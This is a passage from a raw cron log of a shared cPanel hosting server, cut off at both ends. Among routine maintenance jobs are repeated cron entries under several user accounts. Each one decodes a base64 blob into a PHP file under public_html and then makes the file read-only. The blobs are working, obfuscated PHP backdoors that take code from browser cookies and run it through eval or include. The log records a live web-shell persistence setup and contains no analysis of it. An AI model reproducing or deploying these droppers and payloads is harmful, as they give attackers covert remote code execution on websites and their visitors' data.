l07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:53:02 medusa CROND[5672]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:54:01 medusa CROND[25031]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 21:54:01 medusa CROND[25068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:54:01 medusa CROND[25291]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:54:01 medusa CROND[25295]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:54:01 medusa CROND[25296]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:54:01 medusa CROND[25297]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:54:01 medusa CROND[25298]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:54:01 medusa CROND[25300]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:54:01 medusa CROND[25302]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:54:01 medusa CROND[25305]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 21:54:01 medusa CROND[25314]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:54:01 medusa CROND[25317]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 21:54:01 medusa CROND[25325]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:55:01 medusa CROND[12618]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 21:55:01 medusa CROND[12633]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 21:55:01 medusa CROND[12644]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 21:55:01 medusa CROND[12740]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 21:55:01 medusa CROND[12743]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 21:55:01 medusa CROND[12827]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 21:55:01 medusa CROND[12859]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 21:55:01 medusa CROND[12952]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 21:55:01 medusa CROND[12953]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 21:55:01 medusa CROND[12954]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 21:55:01 medusa CROND[12961]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 21:55:01 medusa CROND[12962]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:55:01 medusa CROND[12963]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:55:01 medusa CROND[12959]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 21:55:01 medusa CROND[12972]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 21:55:01 medusa CROND[12960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 21:55:01 medusa CROND[12980]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 21:55:01 medusa CROND[12974]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 21:55:01 medusa CROND[12964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 21:55:01 medusa CROND[12958]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 21:55:01 medusa CROND[13003]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEH